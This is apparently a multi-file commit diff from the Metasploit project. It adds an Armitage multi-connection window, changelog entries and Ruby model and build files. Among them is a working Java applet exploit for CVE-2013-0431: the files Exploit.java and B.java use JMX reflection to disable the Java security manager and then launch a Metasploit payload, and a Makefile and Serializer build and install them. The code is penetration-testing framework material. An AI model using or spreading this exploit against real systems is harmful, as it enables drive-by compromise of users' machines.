@ -0,0 +1,247 @@
|
||||||
|
package ui;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
import armitage.ArmitageApplication;
|
||||||
|
import msf.*;
|
||||||
|
|
||||||
|
/* A class to host multiple Armitage instances in one frame. Srsly */
|
||||||
|
public class MultiFrame extends JFrame implements KeyEventDispatcher {
|
||||||
|
protected JToolBar toolbar;
|
||||||
|
protected JPanel content;
|
||||||
|
protected CardLayout cards;
|
||||||
|
protected LinkedList buttons;
|
||||||
|
protected Properties prefs;
|
||||||
|
|
||||||
|
private static class ArmitageInstance {
|
||||||
|
public ArmitageApplication app;
|
||||||
|
public JToggleButton button;
|
||||||
|
public RpcConnection client;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setPreferences(Properties prefs) {
|
||||||
|
this.prefs = prefs;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Properties getPreferences() {
|
||||||
|
return prefs;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Map getClients() {
|
||||||
|
synchronized (buttons) {
|
||||||
|
Map r = new HashMap();
|
||||||
|
|
||||||
|
Iterator i = buttons.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
ArmitageInstance temp = (ArmitageInstance)i.next();
|
||||||
|
r.put(temp.button.getText(), temp.client);
|
||||||
|
}
|
||||||
|
return r;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setTitle(ArmitageApplication app, String title) {
|
||||||
|
if (active == app)
|
||||||
|
setTitle(title);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected ArmitageApplication active;
|
||||||
|
|
||||||
|
/* is localhost running? */
|
||||||
|
public boolean checkLocal() {
|
||||||
|
synchronized (buttons) {
|
||||||
|
Iterator i = buttons.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
ArmitageInstance temp = (ArmitageInstance)i.next();
|
||||||
|
if ("localhost".equals(temp.button.getText())) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean dispatchKeyEvent(KeyEvent ev) {
|
||||||
|
if (active != null) {
|
||||||
|
return active.getBindings().dispatchKeyEvent(ev);
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static final void setupLookAndFeel() {
|
||||||
|
try {
|
||||||
|
for (UIManager.LookAndFeelInfo info : UIManager.getInstalledLookAndFeels()) {
|
||||||
|
if ("Nimbus".equals(info.getName())) {
|
||||||
|
UIManager.setLookAndFeel(info.getClassName());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void closeConnect() {
|
||||||
|
synchronized (buttons) {
|
||||||
|
if (buttons.size() == 0) {
|
||||||
|
System.exit(0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void quit() {
|
||||||
|
synchronized (buttons) {
|
||||||
|
ArmitageInstance temp = null;
|
||||||
|
content.remove(active);
|
||||||
|
Iterator i = buttons.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
temp = (ArmitageInstance)i.next();
|
||||||
|
if (temp.app == active) {
|
||||||
|
toolbar.remove(temp.button);
|
||||||
|
i.remove();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (buttons.size() == 0) {
|
||||||
|
System.exit(0);
|
||||||
|
}
|
||||||
|
else if (buttons.size() == 1) {
|
||||||
|
remove(toolbar);
|
||||||
|
validate();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (i.hasNext()) {
|
||||||
|
temp = (ArmitageInstance)i.next();
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
temp = (ArmitageInstance)buttons.getFirst();
|
||||||
|
}
|
||||||
|
|
||||||
|
set(temp.button);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public MultiFrame() {
|
||||||
|
super("");
|
||||||
|
|
||||||
|
setLayout(new BorderLayout());
|
||||||
|
|
||||||
|
/* setup our toolbar */
|
||||||
|
toolbar = new JToolBar();
|
||||||
|
|
||||||
|
/* content area */
|
||||||
|
content = new JPanel();
|
||||||
|
cards = new CardLayout();
|
||||||
|
content.setLayout(cards);
|
||||||
|
|
||||||
|
/* setup our stuff */
|
||||||
|
add(content, BorderLayout.CENTER);
|
||||||
|
|
||||||
|
/* buttons?!? :) */
|
||||||
|
buttons = new LinkedList();
|
||||||
|
|
||||||
|
/* do this ... */
|
||||||
|
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
|
||||||
|
|
||||||
|
/* some basic setup */
|
||||||
|
setSize(800, 600);
|
||||||
|
setExtendedState(JFrame.MAXIMIZED_BOTH);
|
||||||
|
|
||||||
|
/* all your keyboard shortcuts are belong to me */
|
||||||
|
KeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void set(JToggleButton button) {
|
||||||
|
synchronized (buttons) {
|
||||||
|
/* set all buttons to the right state */
|
||||||
|
Iterator i = buttons.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
ArmitageInstance temp = (ArmitageInstance)i.next();
|
||||||
|
if (temp.button.getText().equals(button.getText())) {
|
||||||
|
temp.button.setSelected(true);
|
||||||
|
active = temp.app;
|
||||||
|
setTitle(active.getTitle());
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
temp.button.setSelected(false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* show our cards? */
|
||||||
|
cards.show(content, button.getText());
|
||||||
|
active.touch();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addButton(String title, final ArmitageApplication component, RpcConnection conn) {
|
||||||
|
synchronized (buttons) {
|
||||||
|
final ArmitageInstance a = new ArmitageInstance();
|
||||||
|
a.button = new JToggleButton(title);
|
||||||
|
a.button.setToolTipText(title);
|
||||||
|
a.app = component;
|
||||||
|
a.client = conn;
|
||||||
|
|
||||||
|
a.button.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
set((JToggleButton)ev.getSource());
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
a.button.addMouseListener(new MouseAdapter() {
|
||||||
|
public void check(MouseEvent ev) {
|
||||||
|
if (ev.isPopupTrigger()) {
|
||||||
|
final JToggleButton source = a.button;
|
||||||
|
JPopupMenu popup = new JPopupMenu();
|
||||||
|
JMenuItem rename = new JMenuItem("Rename");
|
||||||
|
rename.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
String name = JOptionPane.showInputDialog("Rename to?", source.getText());
|
||||||
|
if (name != null) {
|
||||||
|
content.remove(component);
|
||||||
|
content.add(component, name);
|
||||||
|
source.setText(name);
|
||||||
|
set(source);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
popup.add(rename);
|
||||||
|
popup.show((JComponent)ev.getSource(), ev.getX(), ev.getY());
|
||||||
|
ev.consume();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mouseClicked(MouseEvent ev) {
|
||||||
|
check(ev);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mousePressed(MouseEvent ev) {
|
||||||
|
check(ev);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mouseReleased(MouseEvent ev) {
|
||||||
|
check(ev);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
toolbar.add(a.button);
|
||||||
|
content.add(component, title);
|
||||||
|
buttons.add(a);
|
||||||
|
set(a.button);
|
||||||
|
|
||||||
|
if (buttons.size() == 1) {
|
||||||
|
show();
|
||||||
|
}
|
||||||
|
else if (buttons.size() == 2) {
|
||||||
|
add(toolbar, BorderLayout.SOUTH);
|
||||||
|
}
|
||||||
|
validate();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,6 +1,58 @@
|
||||||
Armitage Changelog
|
Armitage Changelog
|
||||||
==================
|
==================
|
||||||
|
|
||||||
|
6 Mar 13 (tested against msf ca43900a7)
|
||||||
|
--------
|
||||||
|
- Active console now gets higher priority when polling msf for output
|
||||||
|
- Improved team server responsiveness in high latency situations by
|
||||||
|
creating additional connections to server to balance messages over
|
||||||
|
- Preferences are now shared among each Armitage connection.
|
||||||
|
|
||||||
|
6 Mar 13 (2000h)
|
||||||
|
--------
|
||||||
|
- Fixed issue with additional team server connections reporting wrong
|
||||||
|
application and receiving a summary rejection by the team server.
|
||||||
|
|
||||||
|
Cortana Updates (for scripters)
|
||||||
|
--------
|
||||||
|
- Added a &publish, &query, &subscribe API to allow inter-script
|
||||||
|
communication across the team server.
|
||||||
|
- Added &table_update to set the contents of a table tab without
|
||||||
|
disturbing the highlighted rows.
|
||||||
|
- Added an exec_error event. Fired when &m_exec or &m_exec_local fail
|
||||||
|
due to an error reported by meterpreter.
|
||||||
|
- Fixed a bug that sometimes caused session_sync to fire twice (boo!)
|
||||||
|
- Added a 60s timeout to &s_cmd commands. Cortana will give a shell
|
||||||
|
command 60s to execute. If it doesn't finish in that time, Cortana
|
||||||
|
will release the lock on the shell so the user can control it.
|
||||||
|
(ideally, this shouldn't happen... this is a safety mechanism)
|
||||||
|
- Changed Meterpreter command timeout to 2m from 12s. This is because
|
||||||
|
https meterpreter might not checkin for up to 60s, if it's been
|
||||||
|
idle for a long time. This will make &m_cmd less likely to timeout
|
||||||
|
|
||||||
|
12 Feb 13 (tested against msf 16438)
|
||||||
|
---------
|
||||||
|
- Fixed a corner case preventing the display of removed host labels
|
||||||
|
when connected to a team server.
|
||||||
|
- Fixed RPC call cache corruption in team server mode. This bug could
|
||||||
|
lead to some exploits defaulting to a shell payload when meterpreter
|
||||||
|
was a possibility.
|
||||||
|
- Slight optimization to some DB queries. I no longer pull unused
|
||||||
|
fields making the query marginally faster. Team server is more
|
||||||
|
efficient too as changes to unused fields won't force data (re)sync.
|
||||||
|
- Hosts -> Clear Database now clears host labels too.
|
||||||
|
- Added the ability to manage multiple team server instances through
|
||||||
|
Armitage. Go to Armitage -> New Connection to connect to another
|
||||||
|
server. A button bar will appear that allows you to switch active
|
||||||
|
Armitage connections.
|
||||||
|
- Credentials available across instances are pooled when using
|
||||||
|
the [host] -> Login menu and the credential helper.
|
||||||
|
- Rewrote the event log management code in the team server
|
||||||
|
- Added nickname tab completion to event log. I feel like I'm writing
|
||||||
|
an IRC client again.
|
||||||
|
- Hosts -> Clear Database now asks you to confirm the action.
|
||||||
|
- Hosts -> Import Hosts announces successful import to event log again.
|
||||||
|
|
||||||
23 Jan 13 (tested against msf 16351)
|
23 Jan 13 (tested against msf 16351)
|
||||||
---------
|
---------
|
||||||
- Added helpers to set EXE::Custom and EXE::Template options.
|
- Added helpers to set EXE::Custom and EXE::Template options.
|
||||||
|
|
|
@ -0,0 +1,19 @@
|
||||||
|
import java.security.AccessController;
|
||||||
|
import java.security.PrivilegedExceptionAction;
|
||||||
|
|
||||||
|
public class B
|
||||||
|
implements PrivilegedExceptionAction
|
||||||
|
{
|
||||||
|
public B()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
AccessController.doPrivileged(this); } catch (Exception e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object run() {
|
||||||
|
System.setSecurityManager(null);
|
||||||
|
return new Object();
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,93 @@
|
||||||
|
/*
|
||||||
|
* From Paunch with love (Java 1.7.0_11 Exploit)
|
||||||
|
*
|
||||||
|
* Deobfuscated from Cool EK by SecurityObscurity
|
||||||
|
*
|
||||||
|
* https://twitter.com/SecObscurity
|
||||||
|
*/
|
||||||
|
import java.applet.Applet;
|
||||||
|
import com.sun.jmx.mbeanserver.Introspector;
|
||||||
|
import com.sun.jmx.mbeanserver.JmxMBeanServer;
|
||||||
|
import com.sun.jmx.mbeanserver.MBeanInstantiator;
|
||||||
|
import java.lang.invoke.MethodHandle;
|
||||||
|
import java.lang.invoke.MethodHandles.Lookup;
|
||||||
|
import java.lang.invoke.MethodType;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import javax.management.ReflectionException;
|
||||||
|
import java.io.*;
|
||||||
|
import metasploit.Payload;
|
||||||
|
|
||||||
|
public class Exploit extends Applet
|
||||||
|
{
|
||||||
|
|
||||||
|
public void init()
|
||||||
|
{
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
int length;
|
||||||
|
byte[] buffer = new byte[5000];
|
||||||
|
ByteArrayOutputStream os = new ByteArrayOutputStream();
|
||||||
|
|
||||||
|
// read in the class file from the jar
|
||||||
|
InputStream is = getClass().getResourceAsStream("B.class");
|
||||||
|
|
||||||
|
// and write it out to the byte array stream
|
||||||
|
while( ( length = is.read( buffer ) ) > 0 )
|
||||||
|
os.write( buffer, 0, length );
|
||||||
|
|
||||||
|
// convert it to a simple byte array
|
||||||
|
buffer = os.toByteArray();
|
||||||
|
|
||||||
|
Class class1 = gimmeClass("sun.org.mozilla.javascript.internal.Context");
|
||||||
|
|
||||||
|
Method method = getMethod(class1, "enter", true);
|
||||||
|
Object obj = method.invoke(null, new Object[0]);
|
||||||
|
Method method1 = getMethod(class1, "createClassLoader", false);
|
||||||
|
Object obj1 = method1.invoke(obj, new Object[1]);
|
||||||
|
|
||||||
|
Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
|
||||||
|
Method method2 = getMethod(class2, "defineClass", false);
|
||||||
|
|
||||||
|
Class my_class = (Class)method2.invoke(obj1, new Object[] { null, buffer });
|
||||||
|
my_class.newInstance();
|
||||||
|
|
||||||
|
Payload.main(null);
|
||||||
|
|
||||||
|
}
|
||||||
|
catch (Throwable localThrowable){}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private Method getMethod(Class class1, String s, boolean flag)
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods");
|
||||||
|
Method[] amethod1 = amethod;
|
||||||
|
|
||||||
|
for (int i = 0; i < amethod1.length; i++) {
|
||||||
|
Method method = amethod1[i];
|
||||||
|
String s1 = method.getName();
|
||||||
|
Class[] aclass = method.getParameterTypes();
|
||||||
|
if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method;
|
||||||
|
}
|
||||||
|
} catch (Exception localException) { }
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException
|
||||||
|
{
|
||||||
|
Object obj = null;
|
||||||
|
JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true);
|
||||||
|
MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator();
|
||||||
|
|
||||||
|
Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator");
|
||||||
|
Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class });
|
||||||
|
return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj });
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
|
@ -0,0 +1,22 @@
|
||||||
|
# rt.jar must be in the classpath!
|
||||||
|
|
||||||
|
CLASSES = \
|
||||||
|
Exploit.java \
|
||||||
|
B.java \
|
||||||
|
Serializer.java
|
||||||
|
|
||||||
|
.SUFFIXES: .java .class
|
||||||
|
.java.class:
|
||||||
|
javac -source 1.2 -target 1.2 -cp "../../../../data/java:." $*.java
|
||||||
|
|
||||||
|
all: $(CLASSES:.java=.class)
|
||||||
|
|
||||||
|
install:
|
||||||
|
java Serializer
|
||||||
|
mv Exploit.class ../../../../data/exploits/cve-2013-0431/
|
||||||
|
mv B.class ../../../../data/exploits/cve-2013-0431/
|
||||||
|
mv Exploit.ser ../../../../data/exploits/cve-2013-0431/
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -rf *.class
|
||||||
|
rm -rf *.ser
|
|
@ -0,0 +1,20 @@
|
||||||
|
import java.io.*;
|
||||||
|
|
||||||
|
public class Serializer {
|
||||||
|
|
||||||
|
public static void main(String [ ] args)
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
Exploit b=new Exploit(); // target Applet instance
|
||||||
|
ByteArrayOutputStream baos=new ByteArrayOutputStream();
|
||||||
|
ObjectOutputStream oos=new ObjectOutputStream(baos);
|
||||||
|
oos.writeObject(b);
|
||||||
|
FileOutputStream fos=new FileOutputStream("Exploit.ser");
|
||||||
|
fos.write(baos.toByteArray());
|
||||||
|
fos.close();
|
||||||
|
} catch (Exception ex) {
|
||||||
|
ex.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
|
@ -260,7 +260,8 @@ public abstract class RpcConnection {
|
||||||
// Don't fork cause we'll check if it dies
|
// Don't fork cause we'll check if it dies
|
||||||
String rpcType = "Basic";
|
String rpcType = "Basic";
|
||||||
java.util.List args = new java.util.ArrayList(java.util.Arrays.asList(new String[]{
|
java.util.List args = new java.util.ArrayList(java.util.Arrays.asList(new String[]{
|
||||||
"msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1"}));
|
"msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1",
|
||||||
|
"-p",Integer.toString(defaultPort)}));
|
||||||
if(!defaultSsl)
|
if(!defaultSsl)
|
||||||
args.add("-S");
|
args.add("-S");
|
||||||
if(disableDb)
|
if(disableDb)
|
||||||
|
|
|
@ -49,11 +49,12 @@ httpopenrequest:
|
||||||
pop ecx
|
pop ecx
|
||||||
xor edx, edx ; NULL
|
xor edx, edx ; NULL
|
||||||
push edx ; dwContext (NULL)
|
push edx ; dwContext (NULL)
|
||||||
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200) ; dwFlags
|
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags
|
||||||
;0x80000000 | ; INTERNET_FLAG_RELOAD
|
;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||||
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||||
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||||
;0x00000200 ; INTERNET_FLAG_NO_UI
|
;0x00000200 | ; INTERNET_FLAG_NO_UI
|
||||||
|
;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION
|
||||||
push edx ; accept types
|
push edx ; accept types
|
||||||
push edx ; referrer
|
push edx ; referrer
|
||||||
push edx ; version
|
push edx ; version
|
||||||
|
|
|
@ -188,7 +188,9 @@ module Anemone
|
||||||
context,
|
context,
|
||||||
url.scheme == "https",
|
url.scheme == "https",
|
||||||
'SSLv23',
|
'SSLv23',
|
||||||
@opts[:proxies]
|
@opts[:proxies],
|
||||||
|
@opts[:username],
|
||||||
|
@opts[:password]
|
||||||
)
|
)
|
||||||
|
|
||||||
conn.set_config(
|
conn.set_config(
|
||||||
|
|
|
@ -1,10 +0,0 @@
|
||||||
source "http://rubygems.org"
|
|
||||||
|
|
||||||
# Specify your gem's dependencies in metasploit_data_models.gemspec
|
|
||||||
gemspec
|
|
||||||
|
|
||||||
group :test do
|
|
||||||
# rails is only used for testing with a dummy application in spec/dummy
|
|
||||||
gem 'rails'
|
|
||||||
gem 'rspec-rails'
|
|
||||||
end
|
|
|
@ -1,7 +0,0 @@
|
||||||
require 'bundler/gem_tasks'
|
|
||||||
require 'rspec/core/rake_task'
|
|
||||||
|
|
||||||
RSpec::Core::RakeTask.new(:spec)
|
|
||||||
|
|
||||||
task :default => :spec
|
|
||||||
|
|
|
@ -1,8 +0,0 @@
|
||||||
class Mdm::CredFile < ActiveRecord::Base
|
|
||||||
#
|
|
||||||
# Relations
|
|
||||||
#
|
|
||||||
belongs_to :workspace, :class_name => 'Mdm::Workspace'
|
|
||||||
|
|
||||||
ActiveSupport.run_load_hooks(:mdm_cred_file, self)
|
|
||||||
end
|
|
|
@ -1,16 +0,0 @@
|
||||||
class Mdm::WebVuln < ActiveRecord::Base
|
|
||||||
#
|
|
||||||
# Relations
|
|
||||||
#
|
|
||||||
|
|
||||||
belongs_to :web_site, :class_name => 'Mdm::WebSite'
|
|
||||||
|
|
||||||
#
|
|
||||||
# Serializations
|
|
||||||
#
|
|
||||||
|
|
||||||
serialize :params, MetasploitDataModels::Base64Serializer.new
|
|
||||||
|
|
||||||
ActiveSupport.run_load_hooks(:mdm_web_vuln, self)
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,35 +0,0 @@
|
||||||
# 2012-04-23
|
|
||||||
#
|
|
||||||
# Provides ActiveRecord 3.1x-friendly serialization for descendants of
|
|
||||||
# ActiveRecord::Base. Backwards compatible with older YAML methods and
|
|
||||||
# will fall back to string decoding in the worst case
|
|
||||||
#
|
|
||||||
# usage:
|
|
||||||
# serialize :foo, MetasploitDataModels::Base64Serializer.new
|
|
||||||
#
|
|
||||||
module MetasploitDataModels
|
|
||||||
class Base64Serializer
|
|
||||||
def load(value)
|
|
||||||
return {} if value.blank?
|
|
||||||
begin
|
|
||||||
# Load the unpacked Marshal object first
|
|
||||||
Marshal.load(value.unpack('m').first)
|
|
||||||
rescue
|
|
||||||
begin
|
|
||||||
# Support legacy YAML encoding for existing data
|
|
||||||
YAML.load(value)
|
|
||||||
rescue
|
|
||||||
# Fall back to string decoding
|
|
||||||
value
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def dump(value)
|
|
||||||
# Always store data back in the Marshal format
|
|
||||||
[ Marshal.dump(value) ].pack('m')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
|
@ -1,7 +0,0 @@
|
||||||
require 'rails'
|
|
||||||
|
|
||||||
module MetasploitDataModels
|
|
||||||
class Engine < Rails::Engine
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,7 +0,0 @@
|
||||||
module MetasploitDataModels
|
|
||||||
# MetasploitDataModels follows the {Semantic Versioning Specification http://semver.org/}. At this time, the API
|
|
||||||
# is considered unstable because the database migrations are still in metasploit-framework and certain models may not
|
|
||||||
# be shared between metasploit-framework and pro, so models may be removed in the future. Because of the unstable API
|
|
||||||
# the version should remain below 1.0.0
|
|
||||||
VERSION = '0.3.0'
|
|
||||||
end
|
|
|
@ -1,22 +0,0 @@
|
||||||
require "spec_helper"
|
|
||||||
|
|
||||||
module MetasploitDataModels
|
|
||||||
describe Base64Serializer do
|
|
||||||
subject{Base64Serializer.new}
|
|
||||||
|
|
||||||
let(:test_value){{:foo => "bar", :baz => "baz"}}
|
|
||||||
|
|
||||||
# We make it same way as in class b/c hard to keep a reliable base64
|
|
||||||
# string literal as a fixture
|
|
||||||
let(:base64_fixture){[Marshal.dump(test_value)].pack('m')}
|
|
||||||
|
|
||||||
it "should turn a Hash into proper base64" do
|
|
||||||
subject.dump(test_value).should == base64_fixture
|
|
||||||
end
|
|
||||||
|
|
||||||
it "should turn base64 back into a Hash" do
|
|
||||||
subject.load(base64_fixture).should == test_value
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -6,13 +6,19 @@
|
||||||
*.gem
|
*.gem
|
||||||
# Rubymine project configuration
|
# Rubymine project configuration
|
||||||
.idea
|
.idea
|
||||||
|
# logs
|
||||||
|
*.log
|
||||||
# Don't check in rvmrc since this is a gem
|
# Don't check in rvmrc since this is a gem
|
||||||
.rvmrc
|
.rvmrc
|
||||||
|
# YARD database
|
||||||
|
.yardoc
|
||||||
|
# coverage report directory for simplecov/Rubymine
|
||||||
|
coverage
|
||||||
|
# generated yardocs
|
||||||
|
doc
|
||||||
# Installed gem versions. Not stored for the same reasons as .rvmrc
|
# Installed gem versions. Not stored for the same reasons as .rvmrc
|
||||||
Gemfile.lock
|
Gemfile.lock
|
||||||
# Packaging directory for builds
|
# Packaging directory for builds
|
||||||
pkg/*
|
pkg/*
|
||||||
# Database configuration (with passwords) for specs
|
# Database configuration (with passwords) for specs
|
||||||
spec/dummy/config/database.yml
|
spec/dummy/config/database.yml
|
||||||
# logs
|
|
||||||
*.log
|
|
|
@ -0,0 +1,38 @@
|
||||||
|
# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is
|
||||||
|
# controlled by running with coverage, so don't explicitly start coverage (and
|
||||||
|
# therefore generate a report) when in Rubymine. This _will_ generate a report
|
||||||
|
# whenever `rake spec` is run.
|
||||||
|
unless ENV['RM_INFO']
|
||||||
|
SimpleCov.start
|
||||||
|
end
|
||||||
|
|
||||||
|
SimpleCov.configure do
|
||||||
|
load_adapter('rails')
|
||||||
|
|
||||||
|
# ignore this file
|
||||||
|
add_filter '.simplecov'
|
||||||
|
|
||||||
|
#
|
||||||
|
# Changed Files in Git Group
|
||||||
|
# @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only
|
||||||
|
#
|
||||||
|
|
||||||
|
untracked = `git ls-files --exclude-standard --others`
|
||||||
|
unstaged = `git diff --name-only`
|
||||||
|
staged = `git diff --name-only --cached`
|
||||||
|
all = untracked + unstaged + staged
|
||||||
|
changed_filenames = all.split("\n")
|
||||||
|
|
||||||
|
add_group 'Changed' do |source_file|
|
||||||
|
changed_filenames.detect { |changed_filename|
|
||||||
|
source_file.filename.end_with?(changed_filename)
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Specs are reported on to ensure that all examples are being run and all
|
||||||
|
# lets, befores, afters, etc are being used.
|
||||||
|
#
|
||||||
|
|
||||||
|
add_group 'Specs', 'spec'
|
||||||
|
end
|
|
@ -0,0 +1,4 @@
|
||||||
|
--markup markdown
|
||||||
|
--protected
|
||||||
|
{app,lib}/**/*.rb
|
||||||
|
db/migrate/*.rb
|
|
@ -0,0 +1,25 @@
|
||||||
|
source "http://rubygems.org"
|
||||||
|
|
||||||
|
# Specify your gem's dependencies in metasploit_data_models.gemspec
|
||||||
|
gemspec
|
||||||
|
|
||||||
|
# used by dummy application
|
||||||
|
group :development, :test do
|
||||||
|
# supplies factories for producing model instance for specs
|
||||||
|
# Version 4.1.0 or newer is needed to support generate calls without the 'FactoryGirl.' in factory definitions syntax.
|
||||||
|
gem 'factory_girl', '>= 4.1.0'
|
||||||
|
# auto-load factories from spec/factories
|
||||||
|
gem 'factory_girl_rails'
|
||||||
|
# rails is only used for the dummy application in spec/dummy
|
||||||
|
gem 'rails'
|
||||||
|
end
|
||||||
|
|
||||||
|
group :test do
|
||||||
|
# In a full rails project, factory_girl_rails would be in both the :development, and :test group, but since we only
|
||||||
|
# want rails in :test, factory_girl_rails must also only be in :test.
|
||||||
|
# add matchers from shoulda, such as validates_presence_of, which are useful for testing validations
|
||||||
|
gem 'shoulda-matchers'
|
||||||
|
# code coverage of tests
|
||||||
|
gem 'simplecov', :require => false
|
||||||
|
gem 'rspec-rails'
|
||||||
|
end
|
|
@ -1,4 +1,4 @@
|
||||||
Copyright (C) 2012, Rapid7 LLC
|
Copyright (C) 2012, Rapid7, Inc.
|
||||||
All rights reserved.
|
All rights reserved.
|
||||||
|
|
||||||
Redistribution and use in source and binary forms, with or without modification,
|
Redistribution and use in source and binary forms, with or without modification,
|
|
@ -0,0 +1,34 @@
|
||||||
|
#!/usr/bin/env rake
|
||||||
|
begin
|
||||||
|
require 'bundler/setup'
|
||||||
|
rescue LoadError
|
||||||
|
puts 'You must `gem install bundler` and `bundle install` to run rake tasks'
|
||||||
|
end
|
||||||
|
|
||||||
|
APP_RAKEFILE = File.expand_path('../spec/dummy/Rakefile', __FILE__)
|
||||||
|
load 'rails/tasks/engine.rake'
|
||||||
|
|
||||||
|
Bundler::GemHelper.install_tasks
|
||||||
|
|
||||||
|
#
|
||||||
|
# load rake files like a normal rails app
|
||||||
|
# @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl
|
||||||
|
#
|
||||||
|
|
||||||
|
pathname = Pathname.new(__FILE__)
|
||||||
|
root = pathname.parent
|
||||||
|
rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path
|
||||||
|
|
||||||
|
Dir.glob(rakefile_glob) do |rakefile|
|
||||||
|
load rakefile
|
||||||
|
end
|
||||||
|
|
||||||
|
require 'rspec/core'
|
||||||
|
require 'rspec/core/rake_task'
|
||||||
|
|
||||||
|
# Depend on app:db:test:prepare so that test database is recreated just like in a full rails app
|
||||||
|
# @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl
|
||||||
|
RSpec::Core::RakeTask.new(:spec => 'app:db:test:prepare')
|
||||||
|
|
||||||
|
task :default => :spec
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue